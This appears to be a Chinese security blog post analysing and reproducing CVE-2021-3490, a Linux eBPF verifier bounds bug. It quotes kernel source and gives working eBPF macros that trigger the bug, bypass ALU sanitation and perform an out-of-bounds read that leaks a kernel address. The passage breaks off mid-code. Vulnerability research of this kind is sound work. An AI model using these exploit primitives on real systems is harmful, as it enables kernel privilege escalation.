【CVE.0x0A】CVE-2021-3490 漏洞复现及简要分析

本文最后更新于:2023年8月13日 晚上

那一天,a3 终于回想起了被 VM Pwn 支配的恐怖

0x00. 一切开始之前

CVE-2021-3490 是一个发生在 eBPF verifier 中的漏洞,由于 eBPF verifier 在校验位运算操作( 与、或、异或 )时没有正确地更新寄存器的 32 位边界,从而导致攻击者可以构造出非法的运行时寄存器值以进行提权;该漏洞在 这个 commit 中被引入,在 这个 commit 中被修复

本文我们选择内核版本 5.11.16 进行分析

注:eBPF 相关基础知识可以看这↑里↓

0x01. 漏洞分析

eBPF 指令的合法性校验通过 eBPF verifier 完成,eBPF verifier 的核心函数便是 do_check(),该函数会遍历每一条指令并根据指令的不同类型进行不同操作,对于算术指令(BPF_ALU / BPF_ALU64)而言有如下调用链:

1
2
3
4
do_check()	// 遍历每一条指令并根据类型调用相应函数处理
check_alu_op() // 根据算术指令的 opcode 进行不同处理
adjust_reg_min_max_vals() // 计算新的寄存器边界值
adjust_scalar_min_max_vals() // 根据 opcode 计算具体的新边界值

adjust_scalar_min_max_vals() 函数当中会对 32 位与 64 位都进行边界校验(因为实际参与运算的可能是 32 也可能是 64),计算边界值的逻辑主要是先调用 scalar32_min_max_xor() 计算 32 位边界值再调用 scalar_min_max_xor() 计算 64 位边界值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* WARNING: 该函数在 64 位值上进行计算,但实际执行可能在 32 位值上,
* 因此在 32 位的情况下,诸如位移等需要额外的检查.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
//...

switch (opcode) {
//...
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg); /* 漏洞点 */
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg); /* 漏洞点 */
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_XOR:
dst_reg->var_off = tnum_xor(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_xor(dst_reg, &src_reg); /* 漏洞点 */
scalar_min_max_xor(dst_reg, &src_reg);
break;
//...

/* ALU32 ops are zero extended into 64bit register */
if (alu32)
zext_32_to_64(dst_reg);

__update_reg_bounds(dst_reg);//更新边界
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}

在更新 32 位边界值时开发者认为如果两个寄存器的低 32 位都为 known 那就可以直接跳过,因为 64 位时还会进行更新:

tnum_subreg_is_const() 会看寄存器的 var_off 的 mask 的低 32 位是否为 0(即全部已知)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;

/* 假设 scalar64_min_max_and 将被调用,
* 因此跳过为已知的 32位情况更新寄存器是安全的.
*/
if (src_known && dst_known)
return;

//...

在更新 64 位边界值时若两个寄存器都为 known 就直接调用 __mark_reg_known() 将寄存器标为 known 并直接返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umax_val = src_reg->umax_value;

if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}

//...

__mark_reg_known() 其实就是简单的调用 tnum_const() 设置寄存器 var_offknown ,并给对应边界赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;

reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

/* 标记一个寄存器的未知部分 (变量偏移或标量值)
* 为已知的值 @imm.
*/
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
___mark_reg_known(reg, imm);
}

但这样存在一个问题,若存在一个高 32 位 unknown 的寄存器,则不会调用 __mark_reg_known() 更新 32 位的边界值,而只会更新 64 位边界值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	/* 我们从 var_off 中获取最小值, 因为其本质上是按位的.
* 我们的最大值为操作数中所有最大值的最小值.
*/
dst_reg->umin_value = dst_reg->var_off.value;
dst_reg->umax_value = min(dst_reg->umax_value, umax_val);
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* 在加上负值时会丢失有符号的范围,
* 没人有时间搞这个. // 译注:原文如此
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* 两个正值做与还是正值,
* 故可以很安全地将结果转为 s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* 我们可能从 var_off 中获取到更多 */
__update_reg_bounds(dst_reg);
}

这里笔者举一个非常简单的并且已经在其他各大师傅的漏洞分析的文章里用烂了的例子:

  • R2 = { .value = 0x1, .mask = 0xffffffff00000000 }; :该寄存器低 32 位值已知为 1,高 32 位不确定
  • R3 = { .value = 0x100000002, .mask = 0x0 }; :该寄存器 64 位值全部已知,为 0x100000002

假如我们将 R2 与 R3 做与运算,在刚进入 switch 时会先调用 tnum_and() 进行计算并将结构保存到 R2->var_off,由于 R3 全部确定而 R2 的高 32 位不确定,因此运算结果为 { .value = 0x0, .mask = 0x100000000 },即仅有第 32 位是不确定的

接下来继续回到 scalar_min_max_and()中,该函数最后会调用 __update_reg_bounds() 对比寄存器的 var_off 并更新边界值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);

/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}

static void __update_reg64_bounds(struct bpf_reg_state *reg)
{
/* min signed is max(sign bit) | min(other bits) */
reg->smin_value = max_t(s64, reg->smin_value,
reg->var_off.value | (reg->var_off.mask & S64_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->smax_value = min_t(s64, reg->smax_value,
reg->var_off.value | (reg->var_off.mask & S64_MAX));
reg->umin_value = max(reg->umin_value, reg->var_off.value);
reg->umax_value = min(reg->umax_value,
reg->var_off.value | reg->var_off.mask);
}

static void __update_reg_bounds(struct bpf_reg_state *reg)
{
__update_reg32_bounds(reg);
__update_reg64_bounds(reg);
}

计算方法如下:

  • 最小边界值 = 【min_valuevar_off 已知值】中的最大者
  • 最大边界值 =【 max_valuevar_off 已知值】中的最小者

由于 R2 的 32 位初始边界值未经过更新,仍为其原值 1,因此经过该轮计算之后 R2 的最小值为 1,最大值为 0,而这显然是不合理的

回到 adjust_scalar_min_max_vals() 中,其最后也会调用 __update_reg_bounds() 对比寄存器的 var_off 并更新边界值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	default:
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}

/* ALU32 ops are zero extended into 64bit register */
if (alu32)
zext_32_to_64(dst_reg);

__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}

__reg_deduce_bounds() 主要再做一次边界调整校验的工作,这里 32 位与 64 位都用的同一套逻辑:

  • 若有符号最小值边界大于等于 0 或 有符号最大值边界小于 0 ,则更新有符号最小值边界为有符号与无符号最小值边界中的最大值,并更新有符号最大值边界为有符号与无符号最大值边界中的最小值,之后直接返回
  • 若无符号最大值边界没有超过有符号范围(最高位不为1),则将有符号最小值设为无符号最小值,有符号最大值设为有符号与无符号最大值中的最小值
  • 否则,若无符号最小值边界超过有符号范围(最高位为1),则将有符号最小值设为有符号与无符号最小值中的最大值,将有符号最大值设为无符号最大值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/* 使用有符号的最小/最大值赋值无符号, 反之亦然 */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* 从有符号边界中获取符号.
* 若我们无法穿过符号边界,有符号与无符号边界相同,故合并.
* 这在负数情况下也有用,例如:
* -3 s<= x s<= -1 意味着 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
return;
}
/* 从无符号边界中获取边界.
* 有符号边界穿过了有符号范围,我们必须小心.
*/
if ((s32)reg->u32_max_value >= 0) {
/* 正数. 我们无法从 smin 获取任何东西,
* 但 smax 是正数,因此是安全的.
*/
reg->s32_min_value = reg->u32_min_value;
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
} else if ((s32)reg->u32_min_value < 0) {
/* 负数. 我们无法从 smax 获取任何东西,
* 但 smin 是负数,因此是安全的.
*/
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value;
}
}

static void __reg64_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and unsigned bounds
* are the same, so combine. This works even in the negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->smin_value >= 0 || reg->smax_value < 0) {
reg->smin_value = reg->umin_value = max_t(u64, reg->smin_value,
reg->umin_value);
reg->smax_value = reg->umax_value = min_t(u64, reg->smax_value,
reg->umax_value);
return;
}
/* Learn sign from unsigned bounds. Signed bounds cross the sign
* boundary, so we must be careful.
*/
if ((s64)reg->umax_value >= 0) {
/* Positive. We can't learn anything from the smin, but smax
* is positive, hence safe.
*/
reg->smin_value = reg->umin_value;
reg->smax_value = reg->umax_value = min_t(u64, reg->smax_value,
reg->umax_value);
} else if ((s64)reg->umin_value < 0) {
/* Negative. We can't learn anything from the smax, but smin
* is negative, hence safe.
*/
reg->smin_value = reg->umin_value = max_t(u64, reg->smin_value,
reg->umin_value);
reg->smax_value = reg->umax_value;
}
}

static void __reg_deduce_bounds(struct bpf_reg_state *reg)
{
__reg32_deduce_bounds(reg);
__reg64_deduce_bounds(reg);
}

__reg_bound_offset() 则是基于边界值范围重新计算 var_off 的值:

  • tnum_range():取 min 中 min、max 的低位相同位部分,从第一个不同位开始设为未知
  • tnum_intersect():取 a、b 的共有已知为 1 的位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
u8 bits = fls64(chi); // 找到为 1 的最低位

/* 特殊情况, 需要这样因为 1ULL << 64 是未定义的 */
if (bits > 63)
return tnum_unknown;
/* 例如若 chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
* 若 chi = 0, bits = 0, delta = (1<<0) - 1 = 0,
* 故我们返回常数 min (因为 min == max).
*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}

/* 需要注意的是若 a 与 b 不同意 - 即其一有一个 'known 1' 而另一个则
* 有一个 'known 0' - 这将为该位返回一个 'known 1'.
*/
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;

v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}

/* 尝试基于无符号最小/最大值改进 var_off 信息 */
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off,
tnum_range(reg->umin_value,
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),
tnum_range(reg->u32_min_value,
reg->u32_max_value));

reg->var_off = tnum_or(tnum_clear_subreg(var64_off), var32_off);
}

这两个操作在这里都不会影响 R2 的值

poc

现在我们来构造能够触发该漏洞的两个寄存器 R2 = { .value = 1, mask = 0xffffffff00000000 }R3 = { .value = 0x100000002, mask = 0 },其中 R3 可以直接通过赋值构造一个 known 的寄存器, R2 需要一半已知一半未知,可以通过 从 map 中取出一个值进行赋值 的方式先构造出一个 unknown 的寄存器,再与 0xffffffff00000000 做 AND 操作使其低 32 位变为 known:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define POC_PROG(__map_fd)                              \
/* Load value from map */ \
BPF_LD_MAP_FD(BPF_REG_9, __map_fd), \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
/* if success, r0 will be ptr to value, 0 for failed */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
/* load value into r2, make it part-unknown */ \
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0), \
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), \
BPF_ALU64_REG(BPF_AND, BPF_REG_2, BPF_REG_4), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x1), \
/* r3 = 0x100000002 */ \
BPF_MOV64_IMM(BPF_REG_3, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2), \
/* triger the vulnerability */ \
BPF_ALU64_REG(BPF_AND, BPF_REG_2, BPF_REG_3)

把这个程序载入内核过一遍 verifier,简单打印下日志,可以看到我们确乎构造出了一个最小边界值为 1、最大边界值为 0 的寄存器

测试 poc

0x02. 漏洞利用

接下来我们考虑如何利用这个漏洞完成提权,现在我们有了一个 32 位边界值为 [1,0] 、32位推测值与32位运行时值都为 0 的寄存器,接下来我们考虑如何构造一个verifier 推测值与运行时值不同的寄存器,从而继续完成后续利用

一、构造边界值为 [1, 0] 的寄存器

第一步还是先利用漏洞构造一个最小边界值为 1、最大边界值为 0 的寄存器,因为 R1~R5 有的时候要用来作为函数参数,所以这里我们改为在 R6 上继续构造

因为读取 map 的操作代码行数太长了(),所以笔者现在给他封装到一个 BPF_READ_ARRAY_MAP_IDX() 宏里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define VULN_REG BPF_REG_6

#define BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, __dst_reg) \
/* get a pointer to bpf_array */ \
BPF_LD_MAP_FD(BPF_REG_9, __map_fd), \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), \
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, __idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
/* if success, r0 will be ptr to value, 0 for failed */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
/* mov the result back and clear R0 */ \
BPF_MOV64_REG(__dst_reg, BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0)

#define TRIGGER_VULN(__map_fd) \
/* load value into r2, make it part-unknown */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, VULN_REG, BPF_REG_8, 0), \
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), \
BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_4), \
BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1), \
/* r3 = 0x100000002 */ \
BPF_MOV64_IMM(BPF_REG_3, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2), \
/* triger the vulnerability */ \
BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_3)

二、构造运行时为 1、verifier 确信为 0 的寄存器

我们还是考虑继续在 32 位上做文章,假如我们构造出另一个 32 位边界值为 [0, 1] 、32位运行时值为 0 寄存器 R7,将这个寄存器与我们的 R6 相加,其边界值计算其实就是检查是否有溢出然后简单的把两个寄存器边界相加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;

if (signed_add32_overflows(dst_reg->s32_min_value, smin_val) ||
signed_add32_overflows(dst_reg->s32_max_value, smax_val)) {
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
dst_reg->s32_min_value += smin_val;
dst_reg->s32_max_value += smax_val;
}
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) {
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val;
dst_reg->u32_max_value += umax_val;
}
}

此时我们的寄存器 R6 32位边界值为 [1, 1],之后 verifier 会调用 __reg_bound_offset() 反向赋值给 var_off,此时我们的 var_off 的 32 位值便为 1,但实际上的 32 位值为 0,我们便获得了一个运行时为 0 、verifier 认为是 1 的寄存器

R6 += R7

这样一个寄存器好像对我们来说没有太多作用,但如果我们再给 R6 加上 1 ,从而使得 32 位 var_off 变为 2但实际上的 32 位值为 1,我们再将 R61& 运算,verifier 便会认为该寄存器的值变为 0,但其实际上的运行时值为 1

R6 += 1

verifier:0, runtime:1

有了这样一个寄存器,后面我们就可以开始为所欲为了:)

对于 R7 的构造,我们可以先从 map 中取值获取一个 verifier 全不可知的寄存器,之后利用 32 位判断跳转指令 BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2) 使其变为 { .var_off = 0, .mask = 0xffffffff00000001} 即可,map 中的值是我们可控的所以我们可以使其运行时值为 0 :

注:你也可以先给 R6 += 1 再 R6 &= R7,效果是一样的

1
2
3
4
5
6
7
8
9
10
11
#define MAKE_VULN_REG(__map_fd)                         \
/* load value into r3, make it [0, 1] under 32 bit */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), \
BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN(), \
BPF_ALU64_REG(BPF_ADD, VULN_REG, BPF_REG_7), \
BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1), \
BPF_ALU64_IMM(BPF_AND, VULN_REG, 0x1), \
BPF_MOV64_IMM(BPF_REG_0, 0)

可能大家会想到对于条件跳转指令而言 verifier 主要根据边界值进行判断,或许我们能够构造一个运行时为真但 verifier 认为假的条件跳转语句(例如 BPF_JMP32_IMM(BPF_JGE, BPF_REG_6, 1, 1))并在 verifier 认为恒为假但运行时为真的分支中隐藏恶意指令:

1
2
3
4
5
6
7
8
9
10
11
12
static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
struct tnum subreg = tnum_subreg(reg->var_off);
s32 sval = (s32)val;

switch (opcode) {
//...
case BPF_JGE:
if (reg->u32_min_value >= val)
return 1;
else if (reg->u32_max_value < val)
return 0;

但这并不是一个可行的方案,因为对于不可达指令(dead code),verifier会将其 patch 为跳转回条件分支指令,从而导致我们无法在此处藏入恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
struct bpf_insn *insn = env->prog->insnsi;
const int insn_cnt = env->prog->len;
int i;

for (i = 0; i < insn_cnt; i++) {
if (aux_data[i].seen)
continue;
memcpy(insn + i, &trap, sizeof(trap));
}
}

三、内核地址泄露

接下来我们考虑如何泄露内核地址,比较容易想到的是我们或许可以通过这个运行时为 1 而 verifier 认为是 0 的寄存器构造一些越界读取,而 map 是我们能够直接接触到的指针之一,因此我们可以尝试从此处下手

我们是否可以直接向 BPF_FUNC_map_lookup_elem() 传入一个 verifier 确信为 0 但实际上是负数的寄存器呢?答案是否定的,因为对于 BPF_MAP_TYPE_ARRAY 类型的 map 而言在查找元素时实际上会调用到 array_map_lookup_elem() ,其 index 为无符号类型,因此我们无法前向读取:

1
2
3
4
5
6
7
8
9
10
11
/* Called from syscall or from eBPF program */
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = *(u32 *)key;

if (unlikely(index >= array->map.max_entries))
return NULL;

return array->value + array->elem_size * (index & array->index_mask);
}

但当我们在 eBPF 程序中调用 BPF_FUNC_map_lookup_elem() 时,其返回值为指向 value 的指针,而这个指针是允许与常量做运算的(类型为 PTR_TO_MAP_VALUE ),由于我们有一个 verifier 认为是 0 的寄存器,我们可以轻松绕过对指针范围的检查并完成越界读取……吗?

ALU Sanitation bypass

ALU Sanitation 是一个用于运行时动态检测的功能,通过对程序正在处理的实际值进行运行时检查以弥补 verifier 静态分析的不足,这项技术通过调用 fixup_bpf_calls() 为 eBPF 程序中的每一条指令的前面都添加上额外的辅助指令来实现

对于 BPF_ADDBPF_SUB 这样的指令而言,会添加如下辅助指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int fixup_bpf_calls(struct bpf_verifier_env *env)
{
//...

for (i = 0; i < insn_cnt; i++, insn++) {
//...
if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||
insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {
const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;
const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;
struct bpf_insn insn_buf[16];
struct bpf_insn *patch = &insn_buf[0];
bool issrc, isneg;
u32 off_reg;

aux = &env->insn_aux_data[i + delta];
if (!aux->alu_state ||
aux->alu_state == BPF_ALU_NON_POINTER)
continue;

isneg = aux->alu_state & BPF_ALU_NEG_VALUE;
issrc = (aux->alu_state & BPF_ALU_SANITIZE) ==
BPF_ALU_SANITIZE_SRC;

off_reg = issrc ? insn->src_reg : insn->dst_reg;
if (isneg)
*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
if (issrc) {
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX,
off_reg);
insn->src_reg = BPF_REG_AX;
} else {
*patch++ = BPF_ALU64_REG(BPF_AND, off_reg,
BPF_REG_AX);
}
if (isneg)
insn->code = insn->code == code_add ?
code_sub : code_add;
*patch++ = *insn;
if (issrc && isneg)
*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
cnt = patch - insn_buf;

new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt);
if (!new_prog)
return -ENOMEM;

delta += cnt - 1;
env->prog = prog = new_prog;
insn = new_prog->insnsi + i + delta;
continue;
}

其中 aux->alu_limit当前指针运算范围,初始时为 0,与指针所做的常量运算同步,对于减法而言可读范围为 (ptr - alu_limit, ptr] (以指针最初指向的地址为 0),因此我们还需要绕过这个检查

由于我们有运行时为 1、verifier 认为是 0 的寄存器,我们可以这样调整范围:

  • 构造另外一个同样是运行时值为 1、verifier 认为是 0 的寄存器 R8
  • R8 乘上一个不大于 value size 的值(例如 value size 为 0x1000R8 便设为 0x1000
  • 将指向 map 第一个元素第一个字节 value[0] 的寄存器(假设为 R7 )先加上 0x1000,此时 alu_limit 变为 0x1000R7 指向 value[0x1000]
  • R7 -= R8,由于 verifier 认为 R8 为 0,因此 alu_limit 保持不变,但 R7 实际上已经指回了 value[0]

由此我们便能继续愉快地进行前向的越界读了

注:在内核版本 5.11.8 之前 ALU Sanitation 存在一个漏洞,即 aux_alu_limit 被初始化为 0 从而导致 0-1 造成整型溢出变为一个巨大的值,在这个 commit 中才被修复,因此对于 5.11.8 之前版本的内核而言是不需要绕过该检查的

OOB-read on bpf_array

现在让我们来看看这个存放数据的位置附近有没有什么有趣的数据,对于 BPF_MAP_TYPE_ARRAY 类型 的 map 而言,其 wrapper 为 bpf_array 类型(即 bpf_map 内嵌于该结构体中),数据则直接存放在其内部的 value 数组成员当中,因此在查找元素时我们获得的其实是一个指向 bpf_array 内部的指针:

1
2
3
4
5
6
7
8
9
10
11
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
DECLARE_FLEX_ARRAY(char, value) __aligned(8);
DECLARE_FLEX_ARRAY(void *, ptrs) __aligned(8);
DECLARE_FLEX_ARRAY(void __percpu *, pptrs) __aligned(8);
};
};

因此我们只需要前向读取便能读取到 bpf_map,之后通过 bpf_map 的函数表(bpf_map->ops )便能泄露出内核地址,这里我们将 bpf_array_ops 的值读取到 map[1] 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
#define READ_KERNEL_INFO(__map_fd)                      \
/* extend the alu->limit and do the oob read */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x110), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), \
/* save the value into map */ \
BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)

成功泄露出内核地址:

image.png

笔者本来想直接写一个循环直接往前盲读 page_offset_base + 0x9d000 (通过物理地址 0 处数据定位),但是 verifier 要求不能有回向边 ,所以这里还是老老实实地看 bpf_array 周围的数据:)

Leak map address

当我们在调用辅助函数 BPF_FUNC_map_lookup_elem() 时,该函数会返回一个指向 value 的指针,我们是否能够直接将这个值存放到 map 当中从而泄露出 map 地址?通常情况下答案是否定的,verifier 会检查寄存器的类型并阻止指针泄露的情况发生

现在让我们思考如何利用我们的漏洞寄存器绕过这个限制,注意到 verifier 在跟踪指针寄存器与常量寄存器间运算时会调用到 adjust_ptr_min_max_vals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
struct bpf_verifier_state *vstate = env->cur_state;
struct bpf_func_state *state = vstate->frame[vstate->curframe];
struct bpf_reg_state *regs = state->regs, *dst_reg, *src_reg;
struct bpf_reg_state *ptr_reg = NULL, off_reg = {0};
u8 opcode = BPF_OP(insn->code);
int err;

dst_reg = &regs[insn->dst_reg];
src_reg = NULL;
